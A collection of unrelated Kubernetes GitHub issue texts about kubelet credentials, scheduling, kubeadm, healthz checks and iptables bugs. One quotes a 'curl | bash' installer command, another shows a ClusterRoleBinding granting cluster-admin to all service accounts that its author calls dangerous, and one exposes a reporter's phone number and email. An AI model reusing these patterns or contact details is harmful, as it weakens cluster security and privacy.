on the log output of the kubelet, it looks like  when it runs through a list of paths to check  https://github.com/kubernetes/kubernetes/blob/master/pkg/credentialprovider/config.go l78 , the  homedirpath  https://github.com/kubernetes/kubernetes/blob/master/pkg/credentialprovider/config.go l55   via  homejsonpath  https://github.com/kubernetes/kubernetes/blob/master/pkg/credentialprovider/config.go l57   may not be getting initialized correctly. - maybe other problems, too.  i copied the dockercfg to one of the paths the code was looking at, and it then claimed to load the file, logging \ registering credential provider: .dockercfg\ . but, whenever i created the replication controller, it still tried to pull the image without any credentials. specifically,  this code path  https://github.com/kubernetes/kubernetes/blob/4cb0beeefdabebd9bfb8fa6771da4633d1fac7bd/pkg/kubelet/dockertools/docker.go l158 . i tried digging around in there for awhile, but i couldn't easily determine why that was happening.  in the end, i used the \ specifying imagepullsecrets on a pod\  method of using a private registry, which worked.   thanks to @2opremio and @geoah for help debugging this issue.

hi,  i try kubernetes with  « getting started with vagrant »  http://kubernetes.io/v1.1/docs/getting-started-guides/vagrant.html  but i've this error after       curl -ss https://get.k8s.io | bash          ==> master:   libatasmart.x86_64 0:0.19-7.fc21 ==> master:   libreport-filesystem.x86_64 0:2.3.0-10.fc21 ==> master:   libssh.x86_64 0:0.7.1-1.fc21 ==> master:   libstoraged.x86_64 0:2.1.2-1.fc21 ==> master:   mdadm.x86_64 0:3.3.2-1.fc21 ==> master:   ntfs-3g.x86_64 2:2015.3.14-2.fc21 ==> master:   ntfsprogs.x86_64 2:2015.3.14-2.fc21 ==> master:   storaged.x86_64 0:2.1.2-1.fc21 ==> master:   storaged-lvm2.x86_64 0:2.1.2-1.fc21 ==> master:   xfsprogs.x86_64 0:3.2.2-2.fc21 ==> master: ==> master: dependency updated: ==> master:   cryptsetup-libs.x86_64 0:1.6.8-2.fc21     kpartx.x86_64 0:0.4.9-68.fc21.3 ==> master: complete! ==> master: /home/vagrant ==> master: created symlink from /etc/systemd/system/sockets.target.wants/cockpit.socket to /usr/lib/systemd/system/cockpit.socket. ==> master:     info:  sh -- version 2015.11.09 ==> master: ==> master:     info: system information: ==> master:     info:   cpu:          genuineintel ==> master:     info:   cpu arch:     x86_64 ==> master:     info:   os name:      linux ==> master:     info:   os version:   3.17.4-301.fc21.x86_64 ==> master:     info:   distribution: fedora 21 ==> master:     info: installing master ==> master:     info: found function install_fedora_deps ==> master:     info: found function install_fedora_stable ==> master:     info: found function install_fedora_stable_post ==> master:     info: found function install_fedora_restart_daemons ==> master:     info: found function daemons_running ==> master:     info: found function install_fedora_check_services ==> master:     info: running install_fedora_deps   ==> master: which: no dnf in  /usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin  ==> master:     info: adding saltstack's copr repository ==> master: ==> master: ==> master: file contains no section headers. ==> master: file: file:///etc/yum.repos.d/saltstack-salt-fedora-21.repo, line: 1 ==> master: '<!doctype html public \ -//ietf//dtd html 2.0//en\ >\ ' ==> master:    error: failed to run install_fedora_deps  !!! the ssh command responded with a non-zero exit status. vagrant assumes that this means the command failed. the output for this command should be in the log above. please read the output to determine what went wrong.      i've did a mistake ?

with a pr recently azure e2e support was re-instated in kubernetes master repository. this is as referenced by the following issue - https://github.com/kubernetes/kubernetes/pull/21207 the methodology used in the previous commits were the old way of using asm apis.  there was a request to support azure e2e with arm templates that use the new azure resource manager apis which are being support long term by azure.  these set of commits enable arm api support for kubernetes e2e on azure. with the arm changes, kubernetes master upstream/origin is tested nightly and results are reported on a federated dashboard here - https://k8s-testgrid.appspot.com/k8s azure

31722,  32247,  32160,  33133 were left out when doing  33251 as a substitute for  33143. note that  33251 was against 1.4 release branch, while the others are against head.  @mml i think the best thing to do at this point is to create a single new pr that incorporates those, and cherrypick it into the 1.4 release branch  for 1.4.1 . might as well do  33148 at the same time.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  ---    is this a bug report or feature request?    choose one :  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  :    environment  : -   cloud provider or hardware configuration  : -   os    e.g. from /etc/os-release : -   kernel    e.g.  uname -a  : -   install tools  : -   others  :    what happened  :    what you expected to happen  :    how to reproduce it    as minimally and precisely as possible :    anything else do we need to know  :

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-kops-aws-updown/6144/  failed: teardown {e2e.go}      error running kops delete: exit status 1       previous issues for this test:  34118  34795

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : podantiaffinity namespaces\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.6.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : cos 57 build 9202.64.0\r -   kernel    e.g.  uname -a  : 4.4.35\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r created two deployments with same podantiaffinity rules in different namespaces. did not specify  namespaces  field for affinity rules. pods in second namespace failed to schedule due to conflicts with pods in first namespace. had to explicitly set  namespaces  field to allow scheduling.\r \r   what you expected to happen  :\r \r the  namespaces  field should default to the current namespace, as  documented  https://kubernetes.io/docs/concepts/configuration/assign-pod-node/ inter-pod-affinity-and-anti-affinity-beta-feature . instead, it defaults to all namespaces.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r consider the following deployment, which runs 2 nginx pods that may not be scheduled onto the same node:\r \r    yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: nginx\r spec:\r   replicas: 2\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       affinity:\r         podantiaffinity:\r           requiredduringschedulingignoredduringexecution:\r           - labelselector:\r               matchexpressions:\r               - key: app \r                 operator: in\r                 values:  nginx \r             topologykey: kubernetes.io/hostname\r       containers:\r       - name: nginx\r         image: nginx\r         ports:\r         - containerport: 80\r    \r \r create a cluster with 3 nodes, and apply the above manifest to two namespaces:\r \r    sh\r $ gcloud container clusters create --cluster-version 1.6.2 -m n1-standard-1 --num-nodes 3 test\r $ kubectl apply -f nginx.yaml\r $ kubectl create namespace other\r $ kubectl -n other apply -f nginx.yaml\r    \r \r one of the pods in the second namespace will fail to be scheduled, even though the pod anti-affinity rules should only apply within the current namespace by default:\r \r    sh\r $ kubectl -n other get pods\r name                     ready     status    restarts   age\r nginx-2407780625-15jkz   0/1       pending   0          1m\r nginx-2407780625-8m7h2   1/1       running   0          1m\r \r $ kubectl -n other describe pod nginx-2407780625-15jkz\r  ... \r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t-------\r   8m\t\t15s\t\t34\tdefault-scheduler\t\t\twarning\t\tfailedscheduling\tno nodes are available that match all of the following predicates:: matchinterpodaffinity  3 .\r    \r \r   anything else we need to know  :\r \r there is an open issue for this in the documentation repo:\r \r https://github.com/kubernetes/kubernetes.github.io/issues/2676\r \r however, i believe this is a bug with the implementation, as the code also states that it should default to current namespace:\r \r https://github.com/kubernetes/kubernetes/blob/e443277d58e3ff1f0701ab97a1f4932389c27847/pkg/api/types.go l1904-l1906

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r \r \r \r \r   what happened  :\r    \r  root@centos-73-64-minimal kubelet.service.d   ls\r 10-kubeadm.conf\r  root@centos-73-64-minimal kubelet.service.d   cat 10-kubeadm.conf \r  service \r environment=\ kubelet_kubeconfig_args=--kubeconfig=/etc/kubernetes/kubelet.conf --require-kubeconfig=true\ \r environment=\ kubelet_system_pods_args=--pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true\ \r environment=\ kubelet_network_args=--network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin\ \r environment=\ kubelet_dns_args=--cluster-dns=10.96.0.10 --cluster-domain=cluster.local\ \r environment=\ kubelet_authz_args=--authorization-mode=webhook --client-ca-file=/etc/kubernetes/pki/ca.crt\ \r environment=\ kubelet_cadvisor_args=--cadvisor-port=0\ \r environment=\ kubelet_cgroup_args=--cgroup-driver=systemd\ \r execstart=\r execstart=/usr/bin/kubelet $kubelet_kubeconfig_args $kubelet_system_pods_args $kubelet_network_args $kubelet_dns_args $kubelet_authz_args $kubelet_cadvisor_args $kubelet_cgroup_args $kubelet_extra_args\r  root@centos-73-64-minimal kubelet.service.d   kubeadm init --skip-preflight-checks\r  kubeadm  warning: kubeadm is in beta, please do not use it for production clusters.\r  init  using kubernetes version: v1.7.2\r  init  using authorization modes:  node rbac \r  preflight  skipping pre-flight checks\r  certificates  using the existing ca certificate and key.\r  certificates  using the existing api server certificate and key.\r  certificates  using the existing api server kubelet client certificate and key.\r  certificates  using the existing service account token signing key.\r  certificates  using the existing front-proxy ca certificate and key.\r  certificates  using the existing front-proxy client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  using existing up-to-date kubeconfig file: \ /etc/kubernetes/kubelet.conf\ \r  kubeconfig  using existing up-to-date kubeconfig file: \ /etc/kubernetes/controller-manager.conf\ \r  kubeconfig  using existing up-to-date kubeconfig file: \ /etc/kubernetes/scheduler.conf\ \r  kubeconfig  using existing up-to-date kubeconfig file: \ /etc/kubernetes/admin.conf\ \r  apiclient  created api client, waiting for the control plane to become ready\r \r     \r stays like that forever\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.5\r - cloud provider or hardware configuration  : baremetal rented\r - os  e.g. from /etc/os-release : centos\r - kernel  e.g.  uname -a  :linux centos-73-64-minimal 3.10.0-514.21.1.el7.x86_64  1 smp thu may 25 17:04:51 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: ansible & command line - either way it's the same\r - others: both kubernetes and docker are in the same systemd cgroup. i have tried to reinitiate multiple times and install from scratch on 2 machines - always the same result. \r

 \r   what happened  :\r \r the  /healthz  endpoints of kube-proxy, kubelet and kube-dns' sidecar all continue to return http  200  responses after their connectivity to the kube-apiserver is cut off. \r \r   what you expected to happen  :\r \r these three services need to be able to communicate with the api server to do their jobs. when connectivity to the api server is cut off they should start failing their health checks.\r \r   how to reproduce it  :\r \r 1. run any of kube-proxy, kubelet and/or kube-dns\r 2. disrupt connectivity to the kube-apiserver configured for those services. you could turn off the api servers or fence them off with  iptables  or what have you\r 3. on the node running kube-proxy, kubelet and/or kube-dns curl the  /healthz  endpoints for those services, see them return http  200 \r \r   environment  :\r - kubernetes version:\r \r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - os: debian jessie\r - kernel: linux 4.4.0-1-amd64  1 smp debian 4.4.43-1  2017-01-30  x86_64 gnu/linux\r

vendor the code in https://github.com/kubernetes/kube-openapi/pull/10 back to main repo.\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   problem:  \r kubernetes does not support  :  in environment variables. i can see that the subject has recently been discussed in  pr  48986  https://github.com/kubernetes/kubernetes/pull/48986 . .net core uses  :  to replace config variables as mentioned in  this comment  https://github.com/kubernetes/kubernetes/pull/48986 issuecomment-318628326 . the limitation in kubernetes requires me to perform some ugly hacks to override the config values.\r \r   proposed solution:  \r i'm in favor of the sentiment that kubernetes should not censor environment variables at all, but specifically i would like  :  to be allowed.

discovered here: https://github.com/openshift/kubernetes/pull/43/commits/0d5291cc63b7b3655b11bc15e8afb9a078049d09\r \r the metav1.status causing a panic on get projectrequests.

i have created azure container registry where i have pushed one image but while deploying application using yaml file it is giving crashloopbackoff error.\r after running describe pod command getting following message \r \r   type     reason                 age                from                           message\r   ----     ------                 ----               ----                           -------\r   normal   scheduled              46s                default-scheduler              successfully assigned hello-world to k8s-agent-2cad2c16-1\r   normal   successfulmountvolume  46s                kubelet, k8s-agent-2cad2c16-1  mountvolume.setup succeeded for volume \ default-token-wl06v\ \r   normal   pulling                45s                kubelet, k8s-agent-2cad2c16-1  pulling image \ acrvidya.azurecr.io/hello-world:redis-v1\ \r   normal   pulled                 39s                kubelet, k8s-agent-2cad2c16-1  successfully pulled image \ acrvidya.azurecr.io/hello-world:redis-v1\ \r   normal   created                24s  x3 over 39s   kubelet, k8s-agent-2cad2c16-1  created container\r   normal   started                24s  x3 over 39s   kubelet, k8s-agent-2cad2c16-1  started container\r   normal   pulled                 24s  x2 over 38s   kubelet, k8s-agent-2cad2c16-1  container image \ acrvidya.azurecr.io/hello-world:redis-v1\  already present on machine\r   warning  backoff                8s  x4 over 37s    kubelet, k8s-agent-2cad2c16-1  back-off restarting failed container\r   warning  failedsync             8s  x4 over 37s    kubelet, k8s-agent-2cad2c16-1  error syncing pod\r \r any solution for this ? what might be the issue with this ?\r

there's no downside to including the notify if systemd is not installed, and we already run it on some processes like the api.  adding it to the kubelet is a no brainer.\r \r for systemd enabled systems this brings us to parity with the other components when starting the kubelet in a unit file and improves the operational experience  restart and start wait until config has been read before reporting started .\r \r @sjenning @derekwaynecarr @kubernetes/sig-node-bugs

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r i'm trying to run my own unmodified copy of kube-scheduler on gke so i can set custom policies. i've been following https://kubernetes.io/docs/tasks/administer-cluster/configure-multiple-schedulers/, and trying to get things working with the default, unmodified kube-scheduler running in-cluster.\r \r however, when my cluster gets full, my scheduler does not seem to stop scheduling pods on nodes. it should leave pods in pending - instead it assigns them to nodes anyway, where they get rejected by kubelet with  outofmemory    node didn't have enough resource: memory, requested: 1073741824, used: 10184130560, capacity: 11100332032  .\r \r the default scheduler is still being used by kube-system, as well as the deployment running my second scheduler. otherwise all new pods are just using the second scheduler.\r \r   what you expected to happen  :\r \r i expect the second scheduler to be able to schedule pods just like the default one, except with the custom policy changes i've made. i expect it to leave pods in  pending  state when the cluster is full, potentially triggering a clusterautoscaler. i expect it to never schedule pods on nodes that are full.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r on gke, here is a minimal test case:\r \r 1. lazy and otherwise dangerous service account binding  so i can rule out rbac issues \r \r    yaml\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrolebinding\r metadata:\r   name: permissive-binding\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: cluster-admin\r subjects:\r - apigroup: rbac.authorization.k8s.io\r   kind: user\r   name: admin\r - apigroup: rbac.authorization.k8s.io\r   kind: user\r   name: kubelet\r - apigroup: rbac.authorization.k8s.io\r   kind: group\r   name: system:serviceaccounts\r    \r \r 2. deployment running vanilla second scheduler:\r \r    yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: scheduler-2\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       component: scheduler\r   template:\r     metadata:\r       labels:\r         component: scheduler\r     spec:\r       containers:\r       - command:\r         - /usr/local/bin/kube-scheduler\r         - --address=0.0.0.0\r         - --scheduler-name=scheduler-2\r         - -v=4\r         image: gcr.io/google_containers/kube-scheduler-amd64:v1.9.0\r         name: scheduler\r    \r \r 3. a test deployment that'll fill up the cluster. note that here i ask for 200 replicas, since that fills up my  cluster. if you have a smaller cluster, tone the number down.\r \r    yaml\r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: nginx-deployment\r   labels:\r     app: nginx\r spec:\r   replicas: 200\r   selector:\r     matchlabels:\r       app: nginx\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       schedulername: scheduler-2\r       containers:\r       - name: nginx\r         image: nginx:1.7.9\r         ports:\r         - containerport: 80\r         resources:\r           requests:\r             memory: 1gi\r    \r \r if i remove the  schedulername  property from podspec, the default scheduler takes over and correct behavior is restored! \r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  :\r   \r      \r   client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r   server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.2-gke.1\ , gitcommit:\ 4ce7af72d8d343ea2f7680348852db641ff573af\ , gittreestate:\ clean\ , builddate:\ 2018-01-31t22:30:55z\ , goversion:\ go1.9.2b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r      \r - cloud provider or hardware configuration:\r   gke\r - os  e.g. from /etc/os-release : ubuntu 16.04.3\r - kernel  e.g.  uname -a  :  linux gke-test4-cluster-alpha-default-41057cd4-c2tk 4.13.0-1007-gcp  10-ubuntu smp fri jan 12 13:56:47 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others:\r

we are running on kubernetes v1.8.8. and we found that one of our k8s nodes does not sync new iptables rule any more, basically that means:\r \r 1.  if i create a new service, the iptables rule will not be set on that problematic node.\r 1.  if i delete one service, the iptables rule would still be there.\r \r here is what i found after  kill -sigabrt <pid of kube-proxy> :\r \r    \r goroutine 1  chan receive  nil chan , 3041 minutes :\r os/exec.  cmd .wait 0xc420747e40, 0x0, 0x0 \r /usr/local/go/src/os/exec/exec.go:443 +0x118\r os/exec.  cmd .run 0xc420747e40, 0xc421078a80, 0x12 \r /usr/local/go/src/os/exec/exec.go:280 +0x5c\r os/exec.  cmd .combinedoutput 0xc420747e40, 0xc, 0xc420747e40, 0xc4210c3ec0, 0xc420fa6c10, 0xc4211cf1d8 \r /usr/local/go/src/os/exec/exec.go:495 +0x127\r k8s.io/kubernetes/vendor/k8s.io/utils/exec.  cmdwrapper .combinedoutput 0xc420747e40, 0x167dc44, 0x8, 0xc420fae0b0, 0xb, 0xb \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/utils/exec/exec.go:118 +0x2f\r k8s.io/kubernetes/pkg/util/iptables.  runner .run 0xc420740fc0, 0x1677965, 0x2, 0xc4212207e0, 0x9, 0x9, 0x40fdd8, 0x30, 0x143f300, 0xc420bc9901, ... \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/iptables/iptables.go:398 +0x2eb\r k8s.io/kubernetes/pkg/util/iptables.  runner .checkruleusingcheck 0xc420740fc0, 0xc4212207e0, 0x9, 0x9, 0xc420bc9980, 0x6, 0x6 \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/iptables/iptables.go:469 +0x7c\r k8s.io/kubernetes/pkg/util/iptables.  runner .checkrule 0xc420740fc0, 0x167813c, 0x3, 0x16812d0, 0xb, 0xc420bc9980, 0x6, 0x6, 0x9, 0x9, ... \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/iptables/iptables.go:406 +0xb7\r k8s.io/kubernetes/pkg/util/iptables.  runner .ensurerule 0xc420740fc0, 0x167796b, 0x2, 0x167813c, 0x3, 0x16812d0, 0xb, 0xc420bc9980, 0x6, 0x6, ... \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/util/iptables/iptables.go:269 +0x17a\r k8s.io/kubernetes/pkg/proxy/iptables.  proxier .syncproxyrules 0xc420746160 \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/proxy/iptables/proxier.go:1052 +0x84c\r    \r \r specifically, the routine hangs at:\r \r    go\r func  runner  runner  run op operation, args   string     byte, error  {\r \tiptablescmd := iptablescommand runner.protocol \r \tfullargs := append runner.waitflag, string op  \r \tfullargs = append fullargs, args... \r \tglog.v 5 .infof \ running iptables %s %v\ , string op , args \r \treturn runner.exec.command iptablescmd, fullargs... .combinedoutput  \r \t// don't log err here - callers might not think it is an error.\r }\r    \r \r i haven't captured the reason on why that command hangs for that long time, but i am thinking it might be a good idea to add time out for  runner.exec .\r \r  

  \r there are many apis which have been excluded in https://github.com/kubernetes/kubernetes/blob/master/pkg/scheduler/algorithmprovider/defaults/compatibility_test.go. for instance,  extenderconfig  is absent  found during https://github.com/kubernetes/kubernetes/issues/65413 .\r \r the tests should include all api types to ensure backward compatibility and api consistency. \r \r /cc @liggitt

 \r   what happened  :\r on centos, calling \ kubelet\  displays the following error:\r \r  f0729 13:50:44.278410    9196 server.go:262  failed to run kubelet: failed to create kubelet: misconfiguration: kubelet cgroup driver: \ cgroupfs\  is different from docker cgroup driver: \ systemd\  \r \r   what you expected to happen  :\r after calling \ kubelet\ , no errors should be displayed\r \r   how to reproduce it  as minimally and precisely as possible   :\r followed  this guide  https://kubernetes.io/docs/setup/independent/install-kubeadm/ , installed kubelet, kubeadm, kubectl  v 1.11.1  on centos 7  aws vm :\r \r 1. yum install -y docker\r 2. systemctl enable docker && systemctl start docker\r 3. cat <<eof > /etc/yum.repos.d/kubernetes.repo\r  kubernetes \r name=kubernetes\r baseurl=https://packages.cloud.google.com/yum/repos/kubernetes-el7-x86_64\r enabled=1\r gpgcheck=1\r repo_gpgcheck=1\r gpgkey=https://packages.cloud.google.com/yum/doc/yum-key.gpg https://packages.cloud.google.com/yum/doc/rpm-package-key.gpg\r exclude=kube \r eof\r 4. setenforce 0\r 5. yum install -y kubelet kubeadm kubectl\r 6. systemctl enable kubelet && systemctl start kubelet\r 7. call \ kubelet\ \r \r   anything else we need to know?  :\r on ubuntu 16.04 this not happens\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r - cloud provider or hardware configuration:\r aws / t2.medium\r \r - os  e.g. from /etc/os-release :\r centos 7.5\r \r - kernel  e.g.  uname -a  :\r linux ip-xxxxxxxxxx.compute.internal 3.10.0-862.9.1.el7.x86_64  1 smp mon jul 16 16:29:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r after running\r kubectl proxy --port=8001 --context <context>\r this url stopped working\r 8001/api/v1/namespaces/mgmt/services/https:m1-kubernetes-dashboard:443/proxy\r \r for reference, this url\r http://localhost:8001/api/v1/namespaces/mgmt/services\r shows  among other things \r     {\r       \ metadata\ : {\r         \ name\ : \ m1-kubernetes-dashboard\ ,\r         \ namespace\ : \ mgmt\ ,\r         \ selflink\ : \ /api/v1/namespaces/mgmt/services/m1-kubernetes-dashboard\ ,\r         \ uid\ : \ c195d6ec-8960-11e8-81b0-06bb5cfd9e24\ ,\r         \ resourceversion\ : \ 1356\ ,\r         \ creationtimestamp\ : \ 2018-07-17t01:28:49z\ ,\r         \ labels\ : {\r           \ heritage\ : \ tiller\ ,\r           \ kubernetes.io/cluster-service\ : \ true\ ,\r           \ release\ : \ m1\ ,\r           \ app\ : \ kubernetes-dashboard\ ,\r           \ chart\ : \ kubernetes-dashboard-0.6.1\ \r         }\r       },\r       \ spec\ : {\r         \ ports\ :  \r           {\r             \ protocol\ : \ tcp\ ,\r             \ port\ : 443,\r             \ targetport\ : \ https\ \r           }\r          ,\r         \ selector\ : {\r           \ app\ : \ kubernetes-dashboard\ ,\r           \ release\ : \ m1\ \r         },\r         \ clusterip\ : \ <>\ ,\r         \ type\ : \ clusterip\ ,\r         \ sessionaffinity\ : \ none\ \r       },\r       \ status\ : {\r         \ loadbalancer\ : {\r           \r         }\r       }\r     },\r \r   what you expected to happen  :\r i expected this url to show the k8s dashboard\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.8\ , gitcommit:\ c138b85178156011dc934c2c9f4837476876fb07\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t18:53:18z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r aws\r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r linux marcel-xps-8930 4.15.0-29-generic  31~16.04.1-ubuntu smp wed jul 18 08:54:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r \r 

hello ,\r its a new project and in deployment phase. we are using acs azure service, while checking we observed that, pods are not able to communicating with each other over the overlay network. \r we tried to create service and try to access the service application, but still we able to access the application.\r requesting you help us to address the issue asap.\r \r \r thanks\r sandesh s\r 9967917419\r email : sandesh.sonavane@ril.com

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r running \ go test\  inside staging/src/k8s.io/legacy-cloud-providers/gce throws error similar to this:\r \r \ code in directory src/k8s.io/kubernetes/staging/src/k8s.io/legacy-cloud-providers/gce expects import \ k8s.io/legacy-cloud-providers/gce\ \ \r \r \r the same command works when invoked from vendor/k8s.io/legacy-cloud-providers/gce\r \r   what you expected to happen  :\r go test should work from either directory\r   how to reproduce it  as minimally and precisely as possible   :\r  cd staging/src/k8s.io/legacy-cloud-providers/gce/ && go test\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

now that mount propagation mode control is merged into docker and will be released with 1.10, we should begin considering what the eventual fate of nsenter_mount.go is.  a couple things to consider: 1.  we'll need to retain this to support pre-1.10 dockers 2.  does it have utility for other runtimes?  i created an issue for rkt to support controlling the propagation mode of bind-mounts into rkt pods, haven't checked on whether it's been implemented yet.  @kubernetes/goog-node @yifan-gu @kubernetes/rh-cluster-infra

safeformatandmount uses ext4 as the default fstype but this value is set inside safeformatandmount instead of defaults.go.

i got errors complaining about the selector and labels not matching even if i explicitly specified both. showed @janetkuo.

the apimachinery roundtripping test does not ensure that deep copies work.  we need to provide a deep copy test that makes sure we don't end up with shallow copies.

